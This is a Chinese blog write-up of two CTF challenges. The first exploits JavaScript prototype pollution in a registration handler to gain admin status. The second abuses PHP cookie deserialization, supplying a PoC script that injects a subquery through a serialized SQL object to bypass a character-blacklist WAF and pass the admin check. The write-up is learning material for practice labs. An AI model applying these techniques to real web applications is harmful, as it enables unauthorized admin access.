首页 > 其他分享 >刷题记录(四)

刷题记录(四)

时间:2023-08-20 20:34:32浏览次数:27  
标签:username 记录 admin user login password public 刷题

攻防世界-wife_wife

环境中有登陆和注册页面,注册界面有admin的选项,猜测此题需要伪造admin身份。

以下是抓到数据包的内容:

数据以json格式提交,该题的考点是Javascript的原型链污染。以下是该题服务端的关键代码:

app.post('/register', (req, res) => {
    let user = JSON.parse(req.body)
    if (!user.username || !user.password) {
        return res.json({ msg: 'empty username or password', err: true })
    }
    if (users.filter(u => u.username == user.username).length) {
        return res.json({ msg: 'username already exists', err: true })
    }
    if (user.isAdmin && user.inviteCode != INVITE_CODE) {
        user.isAdmin = false
        return res.json({ msg: 'invalid invite code', err: true })
    }
    //该函数的作用是将baseUser,user的内容叠加到{}构成一个全新的对象newUser,该函数也是造成原型链污染的危险函数。
    let newUser = Object.assign({}, baseUser, user) 
    users.push(newUser)
    res.json({ msg: 'user created successfully', err: false })
})

通过在__proto__属性内部设置isAdmin:true污染原型,实现admin身份登陆,payload:

以admin1账号进行登陆,得到flag。

攻防世界-warmup

启动环境后访问,是一个登陆页面

题目提供了源代码,进行审计,index.php中存在反序列化代码:

if (isset ($_COOKIE['last_login_info'])) {
    $last_login_info = unserialize (base64_decode ($_COOKIE['last_login_info']));
    try {
        if (is_array($last_login_info) && $last_login_info['ip'] != $_SERVER['REMOTE_ADDR']) {
            die('WAF info: your ip status has been changed, you are dangrous.');
        }
    } catch(Exception $e) {
        die('Error');
    }
} else {
    $cookie = base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR']))) ;
    setcookie ('last_login_info', $cookie, time () + (86400 * 30));
}

本题和登陆功能没有关系,检查cookie并进行反序列化是本题的突破点。unserialize会触发wakeup方法,在conn.php中定义了一个SQL类,conn.php代码如下:

class SQL {
    public $table = '';
    public $username = '';
    public $password = '';
    public $conn;
    public function __construct() {
    }
    public function connect() {
        $this->conn = new mysqli("localhost", "xxxxx", "xxxx", "xxxx");
    }
    public function check_login(){
        $result = $this->query();
        if ($result === false) {
            die("database error, please check your input");
        }
        $row = $result->fetch_assoc();
        if($row === NULL){
            die("username or password incorrect!");
        //数据库查询结果的username为admin就可以输出flag
        }else if($row['username'] === 'admin'){
            $flag = file_get_contents('flag.php');
            echo "welcome, admin! this is your flag -> ".$flag;
        }else{
            echo "welcome! but you are not admin";
        }
        $result->free();
    }
    //查询数据库部分
    public function query() {
        $this->waf();
        //我们不知道数据库里有哪些表,就算知道,表里也不一定会存admin的数据项,因此要自己构造
        return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");
    }

	//参数中不允许出现blacklist里的内容
    public function waf(){
        $blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];
        foreach ($blacklist as $value) {
            if(strripos($this->table, $value)){
                die('bad hacker,go out!');
            }
        }
        foreach ($blacklist as $value) {
            if(strripos($this->username, $value)){
                die('bad hacker,go out!');
            }
        }
        foreach ($blacklist as $value) {
            if(strripos($this->password, $value)){
                die('bad hacker,go out!');
            }
        }
    }
    public function __wakeup(){
	    //数据库连接部分
        if (!isset ($this->conn)) {
            $this->connect ();
        }
        //对参数进行过滤
        if($this->table){
            $this->waf();
        }
        //关键函数
        $this->check_login();
        //关闭数据库连接
        $this->conn->close();
    }

可以通过以下方式,生成一张数据表:

select 值1 字段1,值2 字段二

生成的表格样式为:

因此,table属性是一条子查询sql语句而不是指定的表名,黑名单里没有',因此可以用单引号对值进行包裹。
poc代码:

<?php
    class SQL{
        public $table;
        public $username;
        public $password;
        public $conn;
    }
    $o=new SQL();
    //括号外的a是子查询表的名字
    $o->table="(select 'admin' username,'123' password)a";
    //要和表内的字段值一致
    $o->username='admin';
    $o->password='123';
    echo serialize($o);

将序列化结果进行base64编码,在浏览器里找到相应位置填入:

刷新浏览器,得到flag:

标签:username,记录,admin,user,login,password,public,刷题
From: https://www.cnblogs.com/Goo1/p/17644523.html

相关文章

  • 微信小程序(8)搜索页以及历史记录管理
    1.效果1.逻辑界面初始化调接口获取两部分数据:1.搜索框默认的搜索placeholder:下面自由自在...2.热搜榜数据:前20条热搜数据3.获取本地存的历史搜索记录historyList搜索框输入文字事件:1.调用接口根据关键字搜索音乐2.判断搜索记录是否有对应关键字,如果有就将......
  • [口胡记录] AGC020C Median Sum
    (题目传送门)一开始口胡结论,发现假了……把所有的子集和放到数轴上,惊奇地发现它们关于\(\dfrac{sum}{2}\)对称,于是做一遍存在性背包,从\(\dfrac{sum}{2}\)开始找第一个存在的子集和就好了因为\(n,a_i\leq2000\),需要\(\rmbitset\)优化#include<bits/stdc++.h>usingname......
  • 【刷题笔记】26. Remove Duplicates from Sorted Array
    题目Givenasortedarraynums,removetheduplicatesin-placesuchthateachelementappearonlyonceandreturnthenewlength.Donotallocateextraspaceforanotherarray,youmustdothisbymodifyingtheinputarrayin-placewithO(1)extramemory.E......
  • IDEA 刷题工具 leetcode editor
    突然有一天不好用了,然后抓取新的cookie后也登陆不上https://github.com/shuzijun/leetcode-editor/issues/402之前的IDEA版本太低了,不支持JCEF更新到最新的2023.2版本但是又有了新的问题,发现evalreset用不了了,会抛出异常最后选择升级到2020.2.4版本的IDEA,解......
  • git合并提交记录
    执行变基命令gitrebase-iHEAD~3(以合并3条为例),出现下图所示界面把需要被合并的提交记录由pick改为squash,wq保存退出删除多余commit记录,wq保存......
  • 数据结构学习记录(一)
    堆栈与队列一、知识要点1、堆栈堆栈的定义堆栈(Stack)是一种具有一定约束的线性表,插入和删除操作都作用在一个称为栈顶(Top)的端点位置。通常把数据插入称为压入栈(Push),删除数据称为弹出栈(Pop)。在堆栈中,最后入栈的数据被最先弹出,所以堆栈也被称为后入先出。堆栈的抽象数据......
  • 2023.8 水题记录
    集训回来之后做题频率下来了.1.CF1856DMoreWrong这场CF场上只写出来ABD(主要卡B的证明上了),什么水平?90%交互=binarysearch(暴论)2.CF1851GVladandtheMountains是我没见过的操作.学到了.3.CF1856CToBecomeMax考试的时候没看.很简单.4.CF1270G......
  • 解决达梦数据库密码复杂性导致的数据导出问题 - 问题记录
    问题描述在使用达梦数据库时,遇到了以下问题:密码过于复杂,无法进行数据库的导出备份操作。数据库导出时存在表数据导出不全的情况。本文旨在记录并解决这些问题的过程。问题解决过程问题1:密码过于复杂导致无法导出备份解决方法:使用管理员账户连接到达梦数据库,并修改数......
  • 2023.7 水题记录
    一天天就会做板子题和水题/oh如果只写了啊?那说明我认为这个题过于厉害.1.P5459[BJOI2016]回转寿司前缀和之后在权值线段树上查询.2.P8862「KDOI-03」还原数据倒序考虑操作之后贪心,用线段树维护.3.P4247[清华集训2012]序列操作选\(c\)个数加起来这个东西是......
  • Hive 刷题——查看每件商品的售价涨幅情况
    题目描述从商品价格变更明细表(sku_price_modify_detail),得到最近一次价格的涨幅情况,并按照涨幅升序排序。结果如下:sku_id<string>(商品id)price_change<decimal(16,2)>(涨幅)8-200.009-100.002-70.0011-16.0012-15.0031.00510.001010.00712.......